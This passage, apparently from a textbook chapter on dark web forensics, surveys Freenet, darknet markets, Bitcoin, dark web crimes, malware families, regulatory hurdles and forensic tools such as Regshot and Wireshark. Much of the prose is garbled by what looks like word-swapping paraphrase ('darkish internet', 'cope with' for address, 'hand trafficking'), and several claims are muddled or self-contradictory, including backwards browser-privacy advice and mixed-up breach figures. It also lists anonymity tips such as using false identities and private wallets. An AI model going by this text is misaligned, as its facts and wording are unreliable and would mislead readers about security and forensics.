Free net, a freeware tool, enables censorship-free file sharing, anonymous web 
browsing, the creation of “freesites” (websites only accessible through Freenet), and 
forum discussion. Freenet has been decentralized to make it less vulnerable to assault, 
and it is very difficult to locate when used in “darknet” mode, when users only con-
nect to their friends. Since connections between Freenet nodes are encrypted and 
routed through other nodes, it is exceedingly difficult to determine who is requesting 
the information and what its content is.

ZeroNet is a novel system that is under development but has potential for the 
future. It relies on torrent technology and uses Bitcoin encryption.
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15.9 � FEATURES AND APPLICATIONS OF DARK WEB

When transferring information, web-based apps on the indexed area of the internet 
are incredibly prone to security issues and other forms of attacks [35]. The dark web, 
on the other hand, provides certain important benefits, like user privacy when access-
ing the internet, invisibility upkeep, confidentiality provision, data sharing with web 
limitations, the ability to buy goods that are not allowed, freedom of speech, and 
more. These traits may be present in dark web software like Bitcoin [36, 37].

The most widely used digital money for transactions is utilized on darknet mar-
ketplaces, sometimes referred to as crypto markets, where all transactions are made 
over TOR. Although TOR access to the dark web offers user identity anonymity, 
additional prerequisites are also listed as being required to further maintain privacy 
protection [38].

15.9.1 �F eatures Provided by Dark Web

Several elements of the dark web are displayed in Figure 15.4 and described in more 
detail below:

Privacy: The dark web is home to a huge number of websites, much as the 
surface online. Websites for social media networking, blogging, movies, 
shopping, email services, and other activities are among them. It is a sizable 
informational repository. It has both legal and unlawful uses.

Anonymity: Customers gain from privacy and using dark websites is safe. You 
may browse the dark web to find the websites that aren’t indexed and don’t 
come up in searches. It provides a high level of privacy since user names 
and locations are hidden and cannot be tracked owing to the multiple-layer 
encryption technique.

Certain purchases are allowed on the dark web: For example, a number of 
Middle Eastern and Asian nations may not allow the use of drugs like pain-
killers and sleeping aids that are legal in Europe.

FIGURE 15.4  Features of the dark web.
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Exposes abuse of power: Politicians and journalists may now write on topics 
that could put them at odds with the government or a power structure.

Violating someone’s right to privacy: These governments use information as 
a powerful weapon as they don’t want their secrets to become known to the 
public. The dark web is needed in this scenario to establish private internal 
and international communication channels.

Freedom of speech: Anonymity has this as a direct consequence. It grants the 
right to openly and without fear express one’s opinions on any subject. On 
every topic, you have the right to express your ideas. In certain societies, 
bullying others is considered natural. Because of this, it ensures everyone’s 
freedom to express themselves.

Requirements for maintaining anonymity
Keep your identity (actual name and photographs) a secret.
Always use anonymous accounts, one-of-a-kind passwords, and false iden-

tities to avoid being discovered. Always carry out the transactions using 
a private dark Bitcoin wallet.

Never turn on browser plugins, disable JavaScript, or disable cookies since 
doing so might reveal your IP address.

Never adjust the TOR browser’s window size to avoid browser fingerprinting.
Always turn off your internet connection before opening any documents 

downloaded via the TOR browser.

15.10 � DARK WEB APPLICATIONS

15.10.1 � Darknet Markets

A website that can be bought or sold on the dark web is the darknet market, often 
called the Cryptomarket. Since users’ names and whereabouts are concealed by these 
browsers, it may be accessed over Freenet, I2P, or TOR. It operates as a black market, 
trading and selling both legitimate and criminal goods, such as illegal drugs, counter-
feit money, phone currencies, and cyber-arms. According to Gareth Owen from the 
University of Portsmouth in December 2014, the darknet market is the second-most 
visited site on the Tor. The buyer and the seller’s identity are protected using a secret 
wallet when transacting on the darknet market. The darknet market is a place where 
items including narcotics, weapons, human organs, phony money, fake documents, 
firearms, and explosives are traded.[39].

15.10.2 �B itcoin Encouragement

A well-known cryptocurrency is called Bitcoin. It is a distributed electronic payment 
system. They employ cryptography. On the dark web, it is employed for anonymous 
payments. It may be transmitted directly between users on the P2P Bitcoin network. 
In a Bitcoin transaction, neither a government agency nor a central bank is engaged. 
Satoshi Nakamoto is the creator of Bitcoin, which was introduced in 2009. Users of 
Bitcoin can conduct confidential business transactions. Users can now connect with 
unlawful operations because of this [39, 40].
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15.11 � GOVERNMENT, MILITARY, AND INTELLIGENCE USING 
DARK WEB

Due to the anonymity provided by Tor and other applications like I2P, the dark web 
could be utilized as a playground by harmful online actors. However, as was already 
said, exploring and using the dark web may have many advantages. This affects all 
government organizations, including the armed forces, law enforcement, and intel-
ligence agencies, as well as individuals and organizations looking to protect their 
online privacy.

By the use of anonymity on the dark web, military command and manipulate 
structures can be included from discovery and hacking with the aid of enemies. The 
armed forces may use the dark web to take a look at their operating environment and 
spot movements that put humans at hazard of operational harm. For instance, proof 
indicating the Islamic State (IS) and the agencies that help it need to utilize Bitcoin 
to finance their sports and that they need to make use of the anonymity offered via the 
dark web for purposes apart from facts alternate, recruiting, and propaganda dissemi-
nation. The Department of Defense (DOD) may monitor those moves in its fight 
against IS and use a number of techniques to thwart terrorist plots [41].

The military can perform covert or unlawful laptop community operations, which 
include taking down a website or launching a denial-of-service attack, using TOR 
software to undercover agents on and impede hostile communications. The military 
may additionally hire a mental ploy or deceit to disseminate fake facts approximately 
troop actions and goals, counterintelligence, or fabric disputing the claims of the 
rebels on the dark web. These moves might be taken either on their very own or in 
support of an ongoing navy campaign [42].

DARPA DARPA is Memex of studies attempt to broaden a new search engine that 
may utilize internet statistics to evaluate developments and connections to assist law 
enforcement and different fascinated events hold tune of crime. Only around 5 per-
cent of the internet may be accessed by ad-supported search engines like algorithms, 
which Bing and Google employ to display search results according to ranking and 
popularity [42].

The Memex is undertaking pursuits to capture lots of secretive pages on the dark 
web and sweep domain names that might be typically ignored by business search 
engines, which will produce a more thorough assessment of online sources. The 
cause of the observe is to discover indicators related to prostitution trafficking com-
mercials on famous websites [43]. This is completed to useful resource the law.

Despite the fact that many connected portions of fabric are categorized, the 
Intelligence Community (IC) makes use of the dark web in a way similar to how the 
Navy does as a supply of open intelligence. The National Security Agency’s (NSA) 
director and head of the US Cyber Command, Admiral Mike Rogers, said that they 
“spend a variety of time looking for folks that don’t need to be discovered” [44].

According to reviews, any consumer attempting to download TOR changed into 
robotically fingerprinted electronically through the NSA’s XKeyscore program, one 
of the programs made public by using Edward Snowden’s launch of classified 
records. This gave the employer the capability to in all likelihood pick out customers 
who think they may be untraceable [45].
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Even while particular IC moves touching the deep web and dark web may be 
saved a secret, at least one IARPA program may be connected to searching out cloth 
saved on the deep web [46]. Conventional strategies like signature-based detection 
do not allow experts to are expecting cyber threats, authorities appear like responding 
to those assaults rather than predicting and preventing them [10].

“New automatic strategies that forecast and hit upon cyber-attacks appreciably in 
advance than modern-day techniques” are what the Cyber-attack Automated 
Unconventional Sensor Environment (CAUSE) attempts to create and check [44]. To 
foresee and identify cyber-occurrences, it could employ factors like black market 
sales and actor behavior models [44].

15.12 � REMITTANCE ON THE DARK WEB

On the darknet typically pay method is accomplished via Bitcoin [44]. Bitcoin is 
a decentralized digital currency that securely facilitates trades between users [44]. 
Bitcoins are typically obtained by users “mining” them, receiving them as payment, 
converting them into fiat money [47].

A blockchain, which is a public ledger, tracks each transaction that includes using 
a Bitcoin. The statistics stored within the blockchain are the Bitcoin addresses of the 
sender and recipient. A cope with does no longer uniquely discover anyone Bitcoin; 
it simplest enables to pick out a particular transaction [48].

The addresses of users are saved in and linked to a wallet [49]. A consumer’s non-
public key acts as a password-like secret code that enables them to spend Bitcoins 
from the linked pockets and is stored in the wallet [50]. The transaction cope with 
and a digital signature are used to verify transactions [44]. Because the wallet and 
personal key are hidden from view within the public ledger even as the usage of 
Bitcoin, privateness is improved. Websites, laptop, cellular device software program, 
or hardware can all host wallets [51].

15.13 � CRIMES IN DARK WEB

The “darknet” is a hub for net criminal activity. Users might purchase and alternate 
illegal goods on The Silk Road, which is a covert digital black market. It is oper-
ated through darknets, secret networks that can best be accessed by using state-of-
the-art software like Tor browser. The statistics from darknets makes up the dark 
internet, and Silk Road became the primary ultra-modern darkish internet market 
[52]. Numerous criminal operations, along with the sale of unlawful drugs, money 
laundering, and human trafficking, can be carried out on the darkishnet. The darkest 
corner of the net refers to it as “A platform for unlawful business and cybercrime” 
due to this. Here are a few examples of the darknet crook hobby.

15.13.1 � Drug Trafficking

The sale of illicit and dangerous goods in return for cryptocurrency occurs on the 
dark web. A few instances of cryptocurrency are Bitcoin, Ethereum, and Ripple. 
One of the most well-known marketplaces for illicit narcotics and prescription 
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pharmaceuticals is Silk Road [2, 53, 54]. The FBI shut down that website in 2013. 
Another example of this sort of website that was removed for the same reason was 
Agora. There are several websites like this that sell and distribute illicit narcotics on 
the dark web. These websites are appealing to the eye and look like any other online 
store, complete with a list of the things being sold and a picture to go with it.

15.13.2 � Human Trafficking

Human trafficking is defined as the recruitment of survivors for sex and labor traf-
ficking. Human trafficking is perilous for the victims involved. As of 2017, one such 
trafficking victim is British model Chloe Ailing, who was chosen as a sex and labor 
trafficking victim. Other reports claim that this platform is associated with the black 
death. This “black death” organization is a component of the “dark web,” which uses 
dynamic URLs to conceal illicit activity.

15.13.3 �I nformation Leaks and Theft

Platforms like TOR and others that offer anonymity may be helpful for law enforce-
ment, activists, and whistle-blowers alike. Hackers use a website called the “dark 
web” to post private data. In 2017, when a hacker published a 9.7 GB statistics dump-
ing ground on the darkish internet containing the login credentials and credit card 
account records for 32 million subscribers of Ashley Madison, 1.4 billion people’s 
private data was exposed in plain text on the dark web, which was openly available 
online. The dark web hubs paid employees in exchange for firm information.

15.13.4 �C ontract Killers and Murder

The website “Assassination Market” offers a market where an individual can wager 
on an individual’s death date in exchange for payment if the date is “guessed” accu-
rately. Because the killer knows when the event will occur and can profit by putting 
a precise bet on the time the target will die, this encourages the killer. It is harder to 
prove criminal culpability in a court of law because the reward is just for identifying 
the date and not for committing the murder.

There aren’t many websites on the darkish web wherein you can hire professional 
assassins. A hacker going by way of the cope with ‘bRpsd’ once acquired access to 
the BesaMafia internet site and posted statistics from it online. Hacker exposed eight 
hit-orders, user accounts, personal discussions, and folders containing almost 200 
images of victims [55].

15.13.5 �C hild Exploitation

As per one survey, the majority of visitor traffic to TOR’s secret sites come from 
child porn. Such sites are hard to locate for the typical user. By engaging in this 
conduct, children are abused while engaging in sexual activity. This also includes 
kid pornographic sexual imagery. Approximately 15,000 people used the Lolita City 
website, which was later shut down. It included over 100 GB of child pornographic 



Dark Web Forensics� 289

multimedia. Another illustration of this was PLAYPEN, which the FBI shut down 
in 2015 and had the greatest collection of child pornographic material with over 
200,000 subscribers [55].

15.13.6 �T errorism

Given that terrorists require a secret network that is both reachable and inaccessible, 
the dark web and these groups seem to be a logical fit. It would be difficult for ter-
rorists to establish an online presence since it may be immediately taken down and, 
more significantly, connected to the original.

According to our first impression of the dark web as an uncontrolled cyberspace, 
the hidden ecological systems for terrorism are perfect for propaganda, recruiting, 
fundraising, and planning. It’s viable that the darkish web is less attractive than the 
surface net [55].

Malicious program called an exploit takes advantage of software flaws before they 
are repaired. Zero-day vulnerabilities, for which the vendor has not yet made an offi-
cial patch available, are the focus of zero-day exploits. A vulnerability known as a 
“zero-day” is one for which the programmer has no time to provide a remedy [55].

Online marketplaces called “exploit markets” allow people to buy and trade zero-
day vulnerabilities. The price of an exploit depends on how popular the target soft-
ware is and how difficult it is to breach.

15.13.7 �U sing Proxies and Cloning Onions

Because of their anonymity, users of structures like Tor are highly vulnerable to 
assault. Such a domain’s URL no longer comprises the customary “HTTPS” indica-
tion that it’s far at ease. They want to bookmark the TOR page so they ensure they 
attain the valid area. Users want to bookmark the TOR web page so they’ll make 
certain they are in the admissible area.

When a user gets a link from a fraudster at that time, they think it is a right and an 
original website link but after that, the fraudster or scammer changes the link or uses 
website proxying so the user gets a false URL. The money is really transferred to the 
con artist when a user utilizes cryptocurrencies to make a payment from a false URL.

Onion cloning is just like proxying. As a way of tricking users into clicking on 
their fake website or page and sending them money, the fraudster copies the actual 
content and modifies the links [55].

15.13.8 �U nlawful Financial Activities

The sale of a person’s non-public data, for example, credit card number is referred to as 
“carding frauds” on the darknet. It’s miles of maximum prevent form of illegal activity.

Credit cards and debit cards are sold on darknet marketplaces. Multiple URLs on 
these websites point viewers to the same page. Other forum sellers advertise their 
items by posting advertisements. For cards, vendors charge less.

Carding scams are also a possibility on various sites for money transfers. The 
website Atlantic Carding offers this service, and the more you spend, the more points 
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you get. Accounts linked to highly wealthy people are up for grabs, including com-
pany credit card accounts and even credit cards with an infinite limit. Name, address, 
and other personal information of the user are made available for a fee.

15.13.9 �T rafficking in Arms

It serves as a conduit for the illegal trade of armaments. A RAND Corporation report 
claims that the dark web is increasing access to firearms at costs comparable to those 
found on black market side streets or black marketplaces. It is also found that Europe 
is the primary source of guns. Germany got here in 35.31 percent and has emerged as 
a meeting region for terrorists and crook corporations on the dark web.

Through the website Euroarms, a variety of weapons may be purchased and deliv-
ered right to your door in any European country. This website should be found on the 
dark web, and the ammunition for these weapons is offered separately.

15.13.10 �B itcoin Fraud

The most famous cryptocurrency on the dark internet is Bitcoin. It also makes sense 
as a form of payment for cybercriminals. Figure 15.5 illustrates two examples of 
these crimes: proxying and onion cloning.

Officials from Europol have raised alarm about the rising role that Bitcoins are 
beginning to play in criminal activity. Since its debut in 2014, DDoS “four” Bitcoin 
(DD4BC), a group of cybercriminals responsible for DDoS assaults, has focused on 
over 140 organizations. This serves as an inspiration for other groups and gives rise 

FIGURE 15.5  A graph of the DD4BC attack timing for bandwidth and packets per second.
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to cyber extortion. Officials from Europol claim that the DD4BC gang originally 
threatened email recipients with a DDoS attack if they did not pay a Bitcoin ransom. 
In the world of the dark web, the emergence of Bitcoin also contributes to the rise of 
cyberterrorists.

15.13.11 �O nion Cloning

Onion cloning is just like a proxy strategy. Con artists have some artistic strategy. 
They make copies of the authentic website and page and adjust the links so that they 
can send a fake website and URL link to users or victims and threaten them or steal 
money from a victim [56].

15.13.12 �C ontract Killers

The dark web also offers hitmen for rent. A hired assassin can be located there as a 
platform. The BesaMafia website was once accessed, and its contents were posted 
online by a hacker going by the alias “bRpsd.” User accounts, private communica-
tions, and other data were made public.

Thirty-eight orders for hits and a folder with almost 200 pictures of victims. 
C’thulhu, Hit Men Network, and Unfriendly Solutions are a few of the groups that 
carry out murders on the job. Payments to Unfriendly Solution may only be made using 
Bitcoins. The Hit Men Network, which is providing a commission, identifies itself as a 
trio of contract killers operating in the United States, Canada, and the EU [56].

15.14 � THREATS ON THE DARK WEB

Illegal substances are primarily sold and additionally offered on the darknet market-
place or darkish web marketplace. Numerous harmful programs and services may be 
found there, and malware is a key element of many cyberattacks carried out via the 
dark web.

Some of the most prevalent malware used by crypto miners to conduct their illegal 
online activities include the following:

15.14.1 �T rojans for Stealing Data

The ability to intercept keystrokes, copy passwords to the clipboard, disable antivi-
rus software, transmit files to the attacker’s email address, and record keystrokes is 
another capability.

15.14.2 �R ansomware

Your data or computer may be encrypted by ransomware, which then requests money 
to decrypt it. A user’s computer is taken over by a malicious assault known as ran-
somware, which prevents them from using it. Companies are selected by ransomware 
attackers through a number of methods. Some businesses appear to be more willing 
to respond promptly to a ransom demand, making them desirable targets.
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For example, government businesses and healthcare centers normally want easy 
get right of entry to their data. Law companies and other sensitive facts dealing with 
companies may be organized to pay a hacker to remain nameless, rendering them 
especially prone to malware assaults.

15.14.3 �R emote Access Trojans (RATs)

Online access Trojans offer a hacker the potential to screen user activity, seize screen-
shots, run scripts and other documents, prompt the webcam and microphone, and get 
records from the internet. Popular remote access Trojans (RATs) include Cerberus 
Rat CyberGate, Spy-Net, Turkojan, Back Orifice, DarkComet, and ProRAT, which 
start downloading data from the internet and switch on the webcam and microphone. 
CyberGate, Cerberus Rat, Turkojan, Back Orifice, ProRAT, and Spy-Net, DarkComet 
are examples of well-known RATs.

15.14.4 � Malware Botnet

It’s a versatile piece of malware that shows in what way con artists are diversifying 
their techniques of assault. The malware is equipped with ransomware, keylogger, 
and botnet capabilities. Virobot uses malware like the Botnet Ransomware. Virobot 
joins a spam botnet when it infects a computer, spreading the virus to new targets. 
The data on the victimized system is encrypted by the ransomware using RSA 
(Rivest, Shamir, Adleman) encryption. In the meantime, the key logger on the botnet 
logs victim data and transfers it to the C2 server. The botnet feature of Virobot uses 
Microsoft Outlook on an infected machine to send spam emails to every contact 
listed by the user.

15.14.5 �T heft Malware

Trojans like this are used to loot money from ATMs. ATM fraud or hacking is lucra-
tive because just one ATM might keep up to US$100,000 in cash. The most expen-
sive malware is ATM malware, which may be used to target many ATMs with just 
one piece of malware. Exploits are looking for and taking advantage of flaws in a 
system or piece of software. The exploits that are accessible on the dark web are 
made to function across a number of systems. Windows-based exploits are the most 
often used because of the magnitude of the market.

15.15 � REGULATORY CHALLENGE

The encryption method and anonymity of the dark web present the biggest challenge 
to law enforcement and governments when trying to regulate it. Since the dark web 
is an entirely anonymous environment, it is challenging to gather enough evidence to 
fight cybercrime and find those who use it for illegal purposes. It is far more difficult 
for intelligence agencies to identify the proper jurisdiction for the crime because 
there is now no widely agreed definition of cyberterrorism. There are many threats in 
cyberspace, and most of them are related [57].
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In addition to employing robust encryption methods, the majority of monetary 
transactions on the dark web are made the usage of cryptocurrencies, which further 
increase anonymity. The blockchain, the fundamental technology of cryptocurren-
cies, is simply a distributed digital ledger of transactions with each block being cryp-
tographically secured. It keeps information in a way that makes changing or hacking 
the system challenging or impossible. As an illustration, the darkside hacker group 
responsible for the Colonial Pipeline ransomware attack demanded US$5 million in 
cryptocurrency as payment [58].

The REvil ransomware group also sought payment in Bitcoin when it attacked 
IT firm Kaseya and hundreds of other companies around the world in early July 
2021 [58].

Cybercriminals and terrorists were capable of conducting a number of nefarious 
sports on the dark web because of Bitcoin transactions. The use of cryptocurrency to 
fund illicit operations on the darknet has made it more difficult for law enforcement 
companies to search out the cash needed to prove a criminal offense. Even if an enor-
mous part of cryptocurrencies can nonetheless be used for immoral functions, the 
manipulation of cryptocurrencies can most effectively be executed with regard to 
those who make use of the currency.

It would be necessary to clearly classify the centralized and decentralized roles 
played in financial transactions in order to monitor the Bitcoin chain. Blockchain, the 
technology that underpins cryptocurrencies, is still in its infancy and needs more 
research in the field. Another concern is that the bulk of dark websites are only opera-
tional for 200 days at the very least and 300 days at the very most. Some also persist 
for less than two months, which makes tracking them even more difficult [59].

15.16 � ADDITIONAL CHALLENGES FOR ORGANIZATION 
AND BUSINESS

Utilizing structured and enriched data from the deep and black web is the only way 
to get around these obstacles and discover these crucial early indicators and threat 
intelligence on attacks against brands and specific people.

15.16.1 �I naccessible Information

Deep and dark websites are not indexed, as was previously said. Therefore, they 
won’t show up in search results on well-known search engines like Google. You’ll 
need to know the exact Onion URL of the website you’re looking for while conduct-
ing a content search. Even DuckDuckGo, the official search engine for TOR, does 
not index onion sites; therefore, it will not display websites whose administrators 
have chosen to remain anonymous.

15.16.2 � Mirror and Domain

For instance, below (see image), we used DuckDuckGo to conduct a search for the 
phrase “XSS,” which refers to a well-known Russian hacking forum. The actual 
site is not listed in the findings, although there were numerous descriptions and 
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explanations of the XSS assault. This makes it more challenging to reach the website 
if we are unsure of the precise domain.

On the dark web, onion sites frequently switch domains to evade detection or after 
they are shut down. Deep web websites are also susceptible to this. As a result, a site 
becomes the subject of numerous complete copies, or mirrors (domains). Followers 
typically have access to more than one mirror in the event that one is momentarily 
unavailable. This increases the risk of scam sites impersonating the real website and 
deceiving users into believing they are the genuine article. Sites require visitors to 
confirm that the mirror they are using is an authentic mirror in order to avoid that.

For instance, the dark web marketplace Kingdom Market requests that customers 
select the mirror they are using from a list in order to confirm that the URL they are 
accessing is actually an approved and secured mirror.

15.16.3 � Site Instabilities

Because site administrators want to keep their material hidden, Tor sites tend to be 
unstable. When it comes to the administrators of dark websites that carry illegal con-
tent, this is even more true. This means that over time, it will be becoming harder and 
harder to trace onion dark websites. A lot of onion sites are also frequently undergo-
ing construction, which causes data loss and content modifications. Site administra-
tors frequently choose to shut down their sites in order to avoid being discovered, 
which results in repeated site shutdowns and reopening.

Another reason dark websites are so difficult to locate is that some of them are 
taken by law enforcement authorities, something that has been happening increas-
ingly frequently in recent years. One such instance is the April 2021 closure of the 
well-known hacker forum Raidforums.

15.16.4 �R eputation

Due to the fact that they are run and maintained by cybercriminals, many TOR, deep, 
and dark web services are generally unreliable. Exit scams are common; one example 
is dark web marketplaces that stop shipping orders while continuing to get paid for 
new ones. Many people are affected by various frauds because it may take some time 
for users to realize that orders are not shipping if the website has a solid reputation.

Below is an illustration of one such widespread scam that Aurora Market pulled 
in April 2021, just one year after it opened for business.

15.16.5 �CAPTC HA Testing and Manual Anti-Bot Verification

Tools called anti-bot verifications are used to distinguish between actual human users 
and automated users like bots. When a bot is identified, the website disables access to 
it, making the dark web content inaccessible.

Here are a few illustrations of numerous anti-bot checking out. The identical 
issues exercise to CAPTCHAs, which stand for Completely Automated Public Turing 
Test to Tell Computers and Humans Apart. These demanding situations are tough for 
computer systems to complete but quite simple for people to complete. This stops 
computerized posts and spam at the structures.
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15.16.6 �C loudflare

One of the main problems with monitoring illegal content nowadays is getting access 
to deep websites that Cloudflare blocks. A secure content distribution network (CDN) 
like Cloudflare makes use of proxy servers to ensure that content access, content, and 
delivery are all secure. To ensure that it prevents access to websites that make use of 
the service until a user successfully completes a CAPTCHA. Additionally, it auto-
matically filters IP addresses that are known to be the origins of spam and dangerous 
content. Numerous illegal deep websites, including Breached Forums, Nulled, Hack 
forums, and others, employ the Cloudflare service.

15.16.7 � Secure Login

On the deep and dark web, access to illegal platforms is restricted via a variety of 
techniques, including admin permission, payment, or even invitation-based access by 
another forum user using an invite code.

15.16.8 �P aywall

Paywalls are used to block access to deep and dark web information without a paid 
subscription, just the way they are on regular websites. Paywalls prevent users from 
accessing the site’s content, and access to it requires payment. For instance, as you 
can see in the image below, first access to the dark web 2easy marketplace costs 50 
dollars.

15.16.9 �P aying Invitation

In order to access certain deep and dark web networks, users need an invitation code, 
which they may either purchase on a market or obtain from other forum members.

The registration page for a dark web credit card business is shown below as an 
example of a paid invitation.

15.16.10 � Hidden Information

Even though it might not make much sense, visiting unauthorized deep and dark 
websites does not get you access to all of their content. Some platforms censor users’ 
material in order to force them to pay for it or take additional activities like leaving 
comments or posting stuff themselves.

15.17 � APPROACH OF DARK WEB FRAMEWORK

The darkish internet is used for a diffusion of cybercrime operations, along with 
buying and selling of personal records, acquisition of drugs and weapons, and so 
on. Some criminal suspects create darkish networks and use them to conduct illicit 
activities. We created a paradigm for dark community forensics from the angle of the 
investigator. Tor browser forensics and darkish web (web) forensics make up its two 
major elements. The purpose of Tor browser forensics is to accumulate information 
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from the host aspect. Host forensics makes a specialty of the usage of the Tor browser 
to gain entry to the dark web, making related purchases or posting illegal content, 
and transacting the usage of Bitcoin. The primary additives of host forensics, which 
makes use of Windows systems, for instance, are registry, memory, hard pressure 
files, and network forensics. Darknetwork (internet) forensics is typically concerned 
with remote server forensics for user-created or dark internet websites that dissemi-
nate unlawful content material (Figure 15.6).

15.18 � DARK WEB FORENSICS TECHNIQUE AND TOOLS

Dark web forensics has main two categories:

TOR browser forensics: A total of four methods is used to extract evidence 
related to the TOR browser.

Forensics of volatile memory: Forensics of risky memory consists of RAM. 
The RAM sell-off may be captured using the Belkasoft RAM capturer, and 
the hexadecimal view of the RAM unload can be seen in the usage of Hex 
sell-off. The intention of RAM forensics is to gather information approxi-
mately the record sorts and websites visited.

Registry modifications: Regshot will do registry forensics, and the proof it 
extracts will screen information about the installation of TOR and the most 
recent get right of entry to date.

Network forensics: Wireshark as well as network miner will perform network 
forensics, and the evidence they extract will reveal details about web traffic.

FIGURE 15.6  Dark Web forensic framework.
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Database: Regions The TOR browser’s database can be accessed at Tor Browser in 
DataBrowser profile. To view the information inside of the database, use the default 
and database viewer.Bitcoin Wallet Forensic: Analysis of Bitcoin purchaser docu-
ments, looking through Bitcoin-associated websites, and pertinent records in social 
chat chats are the key components of Bitcoin forensics. Among the documents vis-
ible in the Bitcoin-Qt folder are Blocks, Chanstate, Debug. Log, Peers.Dat, Walet.
Dat, etc. Here, we offer an actual-world instance of a hacker using Bitcoin to make 
transactions and checking the transaction statistics after copying his backup wallet 
returned to the neighborhood wallet.

RAM forensic method for the use of various devices such as Belkasoft RAM 
Capturer, Hex dump tool’s file have downloaded and from were or which website. 
Some other tools like Registry adjustments the usage of device Regshot and its pur-
pose is on which day TOR set up in machine. Network forensic the usage of tool is 
Wireshark that’s evaluation of visitors in internet. For database using tool database 
viewer which have reason user visited web page.

15.19 � CONCLUSION

The deep internet is a dangerous subset of the darknet. This is commonly accessed 
by means of nameless customers. Users engage in a few activities in a covert manner, 
leaving no traces. Users are involved in the spread of nefarious movements on the 
darkish net. That is why it’s far known as the dark web. The darknet, regularly referred 
to as the darknet, is a hotspot for illegal sports, including the purchase and sale of 
firearms, infant pornography, hand trafficking, drug trafficking, onion cloning, and 
so forth. The chapter compares deep web and dark web. It discusses dark websites 
available with a special browser and nameless router, applications, threats, and chal-
lenges, darkish net forensic with device and technology. It additionally includes an 
overview of darknet marketplace activities and the dark web via assaults on numer-
ous systems, which include ATM malware and ransomware. It is likewise used by 
the government to hide information for security reasons. The encrypted nature of the 
darknet is a huge hassle for governments, and growing new techniques for detecting 
and deterring unlawful and adverse movements on the darkish internet ought to be a 
top priority for any country. Dark web framework and technique as TOR and Bitcoin 
wallet forensics might be useful to virtual forensic professionals while dealing with 
darkish web-associated criminal instances.
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